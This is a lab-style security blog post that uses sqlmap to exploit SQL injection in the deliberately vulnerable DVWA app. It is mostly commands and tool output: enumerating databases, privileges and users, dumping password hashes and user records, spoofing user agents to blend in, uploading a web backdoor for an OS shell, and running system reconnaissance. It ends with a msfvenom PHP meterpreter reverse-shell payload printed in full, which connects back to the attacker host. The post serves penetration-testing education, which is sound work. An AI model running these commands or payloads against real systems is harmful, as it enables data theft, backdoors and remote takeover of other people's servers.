Tuesday, July 7, 2020

Continuing SQL Injection with SQLMap - Exploitation

A while back, I created this post on performing SQL injection manually. In this post, we take advantage of one of the most common tools used for SQL injection. In the next two posts, we will perform, log and packet analysis to detect the activity performed by SQLMap.

To take advantage of the web application, the attacker has to at least understand the basic operation of the application. For this post, we will use the Dam Vulnerable Web Application (DVWA) and its SQLi injection.

When we first access the application, we are provided with a login screen. The default credentials are username "admin" and password "password". In this example, our URL is "http://10.0.0.108/dvwa/login.php"


Once we login and navigate to the SQLi page and enter a value of "1", we get:


Now that we know that entering "1" returned some results, what would happen if we entered a single tick such as ' ?  The server returns the following error:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1

From above, we can conclude this site maybe vulnerable to SQL injection attacks. Let's run a test using SQLMap. 

If we look at the URL, from the legitimate request, we see:

http://10.0.0.108/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

From above, we see two parameters. These are "id" and "submit". Let's now use these with SQLMap.

When we execute SQLMap, we get:

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#"
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.6#stable}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:58:49 /2020-06-24/

[10:58:50] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.0.0.108:80/dvwa/login.php'. Do you want to follow? [Y/n]n

Above we see we are being redirected back to the login page 'http://10.0.0.108:80/dvwa/login.php'. Probably would be a bit difficult for us to authenticate from the command line and get back to that page. Fortunately for us, we can use the "--cookie" argument. 

Considering we loged into the application before, we can basically reuse that cookie. Alternatively, if you have another user's cookie, you may be able to authenticate with that also. Let's use the cookie. 

To find the cookie to use, I "right clicked" on the page in question (remember I had logged in before), selected "Inspect" and then selected the "Console" tab. Once in the console, I executed "document.cookie". This returned a cookie of "security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0"


Now that we have the cookie, let's use it with SQLMap. Let's also use the opportunity to flush any previous session information for the current target, by using the "--flush-session".

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.6#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:18:19 /2020-06-24/

[11:18:20] [INFO] testing connection to the target URL
[11:18:21] [INFO] checking if the target is protected by some kind of WAF/IPS
[11:18:21] [INFO] testing if the target URL content is stable
[11:18:21] [INFO] target URL content is stable
[11:18:21] [INFO] testing if POST parameter 'id' is dynamic
[11:18:22] [WARNING] POST parameter 'id' does not appear to be dynamic
[11:18:22] [INFO] heuristic (basic) test shows that POST parameter 'id' might be injectable (possible DBMS: 'MySQL')
[11:18:22] [INFO] heuristic (XSS) test shows that POST parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[11:18:22] [INFO] testing for SQL injection on POST parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
.... <truncated for brevity> .....
11:20:35] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 144 HTTP(s) requests:
.... <truncated for brevity> .....

Looks like we are now able to confirm there is a vulnerability, which we may be able to take advantage of. We can see this above from the 3 lines in bold. 

Now that we know this works, let's enumerate the "banner" via "--banner" argument. We will also use the "--batch" option as there is no need for user input at this time. Additionally, as it was reported above "looks like the back-end DBMS is 'MySQL'". Let's specify this via "--dbms="MySQL"

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --banner
.... <truncated for brevity> .....

---
[12:12:56] [INFO] the back-end DBMS is MySQL
[12:12:56] [INFO] fetching banner
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
banner: '10.1.30-MariaDB'
[12:12:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:12:57 /2020-06-24/

From above, we see the backend database is "MySQL >= 5.0 (MariaDB fork)". Specifically we see the banner "banner: '10.1.30-MariaDB'". 

At this point we can hunt the internet to find vulnerabilities associated with "10.1.30-MariaDB'"

Let's continue this journey. However, before we enumerate the current user ("--current-user"), let's make an attempt to blend in. By default, the version of SQLMap I am using uses a user-agent of "sqlmap/1.4.6#stable (http://sqlmap.org)". Let's make this look like a normal browser by leveraging the "--user-agent" argument.  Let's borrow a user-agents from WhatIsMyBrowser.com. Specifically, let's take the "Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18" user-agent.

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --user-agent="Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18" --current-user

.... <truncated for brevity> .....

---
[12:28:55] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:28:56] [INFO] fetching current user
current user: 'root@localhost'
[12:28:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:28:56 /2020-06-24/

Above, we see  "current user: 'root@localhost'". Never a good thing to run a program as "root". Maybe this will work to our benefit later.

Ok, above it was cool that we can specify a user-agent. How about instead of specifying one, we let SQLMap just do this on its own. As we look to enumerate the current database ("--current-db"), let's also use the "--random-agent".

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent --current-db
....

[12:34:38] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Ubuntu' from file '/usr/share/sqlmap/data/txt/user-agents.txt'

.... <truncated for brevity> .....

---
[12:35:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:35:05] [INFO] fetching current database
current database: 'dvwa'
[12:35:05] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:35:05 /2020-06-24/

We see above that a user agent was selected from the file "user-agents.txt" along with "current database: 'dvwa'". Let's see what other databases might existing or that we may have access to using "--dbs"

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent --dbs

.... <truncated for brevity> .....

---
[12:41:28] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:41:29] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test

Above we see a list of databases available. Looks like we can have fun with some of these. However, let's stick with "dvwa" at this time. We already know that the current user is "root@localhost". Let's see if this user is also a database administrator via "--is-dba"

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent --is-dba

.... <truncated for brevity> .....
---
[12:45:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:45:12] [INFO] testing if current user is DBA
[12:45:12] [INFO] fetching current user
current user is DBA: True
[12:45:13] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:45:13 /2020-06-24/

Looks like the current user is a Database Administrator. Let's validate the privileges of the various users via "--privileges". 

Looks like the current user is a Database Administrator. Let's validate the privileges of the various users via "--privileges". 

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent --privileges
.... <truncated for brevity> .....
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:49:51] [INFO] fetching database users privileges
database management system users privileges:
[*] ''@'localhost' [1]:
    privilege: USAGE
[*] 'pma'@'localhost' [1]:
    privilege: USAGE
[*] 'root'@'127.0.0.1' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'root'@'::1' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'root'@'localhost' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE

[12:49:51] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:49:51 /2020-06-24/


Liking the program which has been made so far, let's now look at the roles of the various users via "--roles"

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent --roles

<.... truncated for brevity ..... >
[12:51:48] [INFO] fetched random HTTP User-Agent header value 'Opera/9.01 (X11; Linux i686; U; en)' from file '/usr/share/sqlmap/data/txt/user-agents.txt


12:52:16] [INFO] fetching database users privileges
database management system users roles:
[*] ''@'localhost' [1]:
    role: USAGE
[*] 'pma'@'localhost' [1]:
    role: USAGE
[*] 'root'@'127.0.0.1' (administrator) [28]:
    role: ALTER
    role: ALTER ROUTINE
    role: CREATE
    role: CREATE ROUTINE
    role: CREATE TABLESPACE
    role: CREATE TEMPORARY TABLES
    role: CREATE USER
    role: CREATE VIEW
    role: DELETE
    role: DROP
    role: EVENT
    role: EXECUTE
    role: FILE
    role: INDEX
    role: INSERT
    role: LOCK TABLES
    role: PROCESS
    role: REFERENCES
    role: RELOAD
    role: REPLICATION CLIENT
    role: REPLICATION SLAVE
    role: SELECT
    role: SHOW DATABASES
    role: SHOW VIEW
    role: SHUTDOWN
    role: SUPER
    role: TRIGGER
    role: UPDATE
[*] 'root'@'::1' (administrator) [28]:
    role: ALTER
    role: ALTER ROUTINE
    role: CREATE
    role: CREATE ROUTINE
    role: CREATE TABLESPACE
    role: CREATE TEMPORARY TABLES
    role: CREATE USER
    role: CREATE VIEW
    role: DELETE
    role: DROP
    role: EVENT
    role: EXECUTE
    role: FILE
    role: INDEX
    role: INSERT
    role: LOCK TABLES
    role: PROCESS
    role: REFERENCES
    role: RELOAD
    role: REPLICATION CLIENT
    role: REPLICATION SLAVE
    role: SELECT
    role: SHOW DATABASES
    role: SHOW VIEW
    role: SHUTDOWN
    role: SUPER
    role: TRIGGER
    role: UPDATE
[*] 'root'@'localhost' (administrator) [28]:
    role: ALTER
    role: ALTER ROUTINE
    role: CREATE
    role: CREATE ROUTINE
    role: CREATE TABLESPACE
    role: CREATE TEMPORARY TABLES
    role: CREATE USER
    role: CREATE VIEW
    role: DELETE
    role: DROP
    role: EVENT
    role: EXECUTE
    role: FILE
    role: INDEX
    role: INSERT
    role: LOCK TABLES
    role: PROCESS
    role: REFERENCES
    role: RELOAD
    role: REPLICATION CLIENT
    role: REPLICATION SLAVE
    role: SELECT
    role: SHOW DATABASES
    role: SHOW VIEW
    role: SHUTDOWN
    role: SUPER
    role: TRIGGER
    role: UPDATE

[12:52:16] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:52:16 /2020-06-24/

With the above, we are able to infer who are the users of this system based on the query we made for privileges. However, let's confirm the users via "--users". 

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --dbms="MySQL" --random-agent --users
<... truncated for brevity ...>
---
[12:59:59] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:59:59] [INFO] fetching database users
database management system users [5]:
[*] ''@'localhost'
[*] 'pma'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'

[12:59:59] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:59:59 /2020-06-24/

Let's now look at grabbing the passwords via "--password". Let's also remove the "--batch" option. This allows us to now interact with SQLMap.

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --dbms="MySQL" --batch --random-agent --passwords

<... truncated for brevity ...>


[13:04:08] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:04:09] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] 
[13:04:27] [WARNING] no clear password(s) found
database management system users password hashes:
[*] pma [1]:
    password hash: NULL
[*] root [1]:
    password hash: NULL

[13:04:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 13:04:27 /2020-06-24/

Let's now look at the tables within the various databases.

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --dbms="MySQL" --batch --tables

---
[13:17:56] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:17:56] [INFO] fetching database names
[13:17:56] [INFO] fetching tables for databases: 'dvwa, information_schema, mysql, nowasp, performance_schema, phpmyadmin, test'                                                                                                                        
Database: dvwa
[2 tables]
+----------------------------------------------------+
| guestbook                                          |
| users                                              |
+----------------------------------------------------+

Database: information_schema
[78 tables]
+----------------------------------------------------+
| ALL_PLUGINS                                        |
| APPLICABLE_ROLES                                   |
<.... truncated for brevity .... >
| STATISTICS                                         |
| TABLES                                             |
+----------------------------------------------------+

Database: mysql
[34 tables]
+----------------------------------------------------+
| db                                                 |
| event                                              |
| user                                               |
<.... truncated for brevity .... >
| time_zone_transition                               |
| time_zone_transition_type                          |
+----------------------------------------------------+

Database: nowasp
[13 tables]
+----------------------------------------------------+
| accounts                                           |
| balloon_tips                                       |
| blogs_table                                        |
<.... truncated for brevity .... >
| user_poll_results                                  |
| youtubevideos                                      |
+----------------------------------------------------+

Database: performance_schema
[52 tables]
+----------------------------------------------------+
| accounts                                           |
| cond_instances                                     |
| events_stages_current                              |
<.... truncated for brevity .... >
| users                                              |
+----------------------------------------------------+

Database: phpmyadmin
[19 tables]
+----------------------------------------------------+
| pma__bookmark                                      |
| pma__central_columns                               |
<.... truncated for brevity .... >
| pma__users                                         |
+----------------------------------------------------+

[13:17:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 13:17:57 /2020-06-24/

While the information above is truncated, you can see we have basically dumped all the tables from the various databases. We can now focus on a specific table structure by executing "-D" for the specific database and "-T" for the specific table and "--column" 

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent -D dvwa -T users --columns

---
[13:29:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:29:19] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| password     | varchar(32) |
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| user_id      | int(6)      |
+--------------+-------------+

[13:29:19] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 13:29:19 /2020-06-24/

Let's now read all records within the "users" table within the "dvwa" database via "--sql-query".

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent -D dvwa --sql-query="select * from users"

<.... truncated for brevity ....>

---
[13:33:52] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:33:52] [INFO] fetching SQL SELECT statement query output: 'select * from users'
[13:33:52] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[13:33:52] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[13:33:52] [INFO] fetching current database
[13:33:52] [INFO] fetching columns for table 'users' in database 'dvwa'
[13:33:52] [INFO] the query with expanded column name(s) is: SELECT `password`, `user`, avatar, failed_login, first_name, last_login, last_name, user_id FROM users
select * from users [5]:
[*] 5f4dcc3b5aa765d61d8327deb882cf99, admin, http://localhost/DVWA/hackable/users/admin.jpg, 0, admin, 2018-02-05 01:58:15, admin, 1
[*] e99a18c428cb38d5f260853678922e03, gordonb, http://localhost/DVWA/hackable/users/gordonb.jpg, 0, Gordon, 2018-02-05 01:58:15, Brown, 2
[*] 8d3533d75ae2c3966d7e0d4fcc69216b, 1337, http://localhost/DVWA/hackable/users/1337.jpg, 0, Hack, 2018-02-05 01:58:15, Me, 3
[*] 0d107d09f5bbe40cade3de5c71e9e9b7, pablo, http://localhost/DVWA/hackable/users/pablo.jpg, 0, Pablo, 2018-02-05 01:58:15, Picasso, 4
[*] 5f4dcc3b5aa765d61d8327deb882cf99, smithy, http://localhost/DVWA/hackable/users/smithy.jpg, 0, Bob, 2018-02-05 01:58:15, Smith, 5

[13:33:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 13:33:52 /2020-06-24/

With the information returned above, we can crack the passwords using another tool or simply copy and paste them into crackstation.net.

At this point, there are many other things for us to do, such as reading and writing of files, etc. However, let's attempt to gain access to the underlying operating system via the "--os-shell" command.

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --dbms="MySQL" --random-agent -D dvwa --os-shell

<.... Truncated for brevity ....>
---
[13:42:17] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:42:17] [INFO] going to use a web backdoor for command prompt
[13:42:17] [INFO] fingerprinting the back-end DBMS operating system
[13:42:18] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP

From above, we select "[4] PHP"

do you want sqlmap to further try to provoke the full path disclosure? [Y/n] 
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] 
[13:43:20] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 4

Next I selected a brute force search to upload the file to grant us shell. As can be seen below, various locations are being tried and the files were ultimately uploaded.

use any additional custom directories [Enter for None]: 
[13:49:55] [WARNING] unable to automatically parse any web server path
[13:49:55] [INFO] trying to upload the file stager on '/xampp/' via LIMIT 'LINES TERMINATED BY' method
[13:49:55] [WARNING] unable to upload the file stager on '/xampp/'
[13:49:55] [INFO] trying to upload the file stager on '/xampp/' via UNION method
[13:49:55] [WARNING] expect junk characters inside the file as a leftover from UNION query
[13:49:55] [INFO] the remote file '/xampp/tmpufnkt.php' is larger (701 B) than the local file '/tmp/sqlmaptm_zmipy4631/tmpdhp84kj_' (700B)                                                                                                  ...
[15:52:35] [INFO] trying to upload the file stager on '/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[15:52:35] [INFO] the file stager has been successfully uploaded on '/xampp/htdocs/' - http://10.0.0.108:80/tmpuevkq.php
[15:52:36] [INFO] the backdoor has been successfully uploaded on '/xampp/htdocs/' - http://10.0.0.108:80/tmpbfkst.php
[15:52:36] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

os-shell> 

.... above we see the "os-shell>" and "the file stager has been successfully uploaded on '/xampp/htdocs/' - http://10.0.0.108:80/tmpuevkq.php".

Testing the shell we see:

BREAK          Sets or clears extended CTRL+C checking.
BCDEDIT        Sets properties in boot database to control boot loading.
CACLS          Displays or modifies access control lists (ACLs) of files.
CALL           Calls one batch program from another.
CD             Displays the name of or changes the current directory.
CHCP           Displays or sets the active code page number.
CHDIR          Displays the name of or changes the current directory.
CHKDSK         Checks a disk and displays a status report.
CHKNTFS        Displays or modifies the checking of disk at boot time.
CLS            Clears the screen.
CMD            Starts a new instance of the Windows command interpreter.
< ... truncated for brevity .... >
VOL            Displays a disk volume label and serial number.
XCOPY          Copies files and directory trees.
WMIC           Displays WMI information inside interactive command shell.

For more information on tools see the command-line reference in the online help.
---
os-shell> 

Looking at the processes on the system via "wmic process list brief"

os-shell> wmic process list brief
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
HandleCount  Name                       Priority  ProcessId  ThreadCount  WorkingSetSize  
0            System Idle Process        0         0          2            8192            
1974         System                     8         4          99           139264          
52           smss.exe                   11        312        2            987136          
<.... Truncated for brevity .... >   
276          taskhostw.exe              8         1732       4            17592320        
193          svchost.exe                8         5576       4            7356416         
62           cmd.exe                    8         4332       2            3862528         
108          conhost.exe                8         4996       3            10129408        
192          WMIC.exe                   8         5076       6            11042816        
157          WmiPrvSE.exe               8         6520       9            8593408 
....

Look at the user on the system.

---
os-shell> wmic useraccount
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
AccountType  Caption                             Description                                                                                      Disabled  Domain           FullName  InstallDate  LocalAccount  Lockout  Name                PasswordChangeable  PasswordExpires  PasswordRequired  SID                                           SIDType  Status    
512          SECURITYNIK-WIN\Administrator       Built-in account for administering the computer/domain                                           FALSE     SECURITYNIK-WIN                         TRUE          FALSE    Administrator       TRUE                FALSE            TRUE              S-1-5-21-3846991316-327138358-508696823-500   1        OK        
512          SECURITYNIK-WIN\DefaultAccount      A user account managed by the system.                                                            TRUE      SECURITYNIK-WIN                         TRUE          FALSE    DefaultAccount      TRUE                FALSE            FALSE             S-1-5-21-3846991316-327138358-508696823-503   1        Degraded  
512          SECURITYNIK-WIN\Guest               Built-in account for guest access to the computer/domain                                         TRUE      SECURITYNIK-WIN                         TRUE          FALSE    Guest               FALSE               FALSE            FALSE             S-1-5-21-3846991316-327138358-508696823-501   1        Degraded  
512          SECURITYNIK-WIN\SecurityNik                                                                                                          FALSE     SECURITYNIK-WIN                         TRUE          FALSE    SecurityNik         TRUE                FALSE            FALSE             S-1-5-21-3846991316-327138358-508696823-1002  1        OK        
512          SECURITYNIK-WIN\Toronto                                                                                                              FALSE     SECURITYNIK-WIN                         TRUE          FALSE    Toronto             TRUE                TRUE             TRUE              S-1-5-21-3846991316-327138358-508696823-1005  1        OK        
512          SECURITYNIK-WIN\WDAGUtilityAccount  A user account managed and used by the system for Windows Defender Application Guard scenarios.  TRUE      SECURITYNIK-WIN                         TRUE          FALSE    WDAGUtilityAccount  TRUE                TRUE             TRUE              S-1-5-21-3846991316-327138358-508696823-504   1        Degraded  

---

Grab "systeminfo "

os-shell> systeminfo
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---

Host Name:                 SECURITYNIK-WIN
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.16299 N/A Build 16299
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
...
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \SECURITYNIK-WIN
Hotfix(s):                 2 Hotfix(s) Installed.
                           [01]: KB4053577
                           [02]: KB4054517
Network Card(s):           2 NIC(s) Installed.
                           [01]: Microsoft KM-TEST Loopback Adapter
                                 Connection Name: Npcap Loopback Adapter
                                 DHCP Enabled:    Yes
                                 DHCP Server:     255.255.255.255
                                 IP address(es)
                                 [01]: 169.254.149.255
                                 [02]: fe80::18f0:70a4:4f2c:95ff
                           [02]: Intel(R) PRO/1000 MT Desktop Adapter
                                 Connection Name: Ethernet 2
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.0.0.100
                                 IP address(es)
                                 [01]: 10.0.0.108
                                 [02]: fe80::a858:9eed:630a:53f7
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

With the information above, we can consider the additional devices in the network to pivot to.

There are other cool things we can do with "wmic" in this "os-shell". However, let's transition back to our attacking machine and use the penetration tester's favourite tool to make things more interesting.

Let's start off with "msfvenom". In my example, I redirect the output to a file call named "tmp.php"

kali@securtynik:~$ msfvenom --payload php/meterpreter/reverse_tcp LHOST=10.0.0.107 LPORT=4443 --format raw --smallest > tmp.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1111 bytes

If I "cat" the file "tmp.php", we see:

kali@securtynik:~$ cat tmp.php 
/*<?php /**/ error_reporting(0); $ip = '10.0.0.107'; $port = 4443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

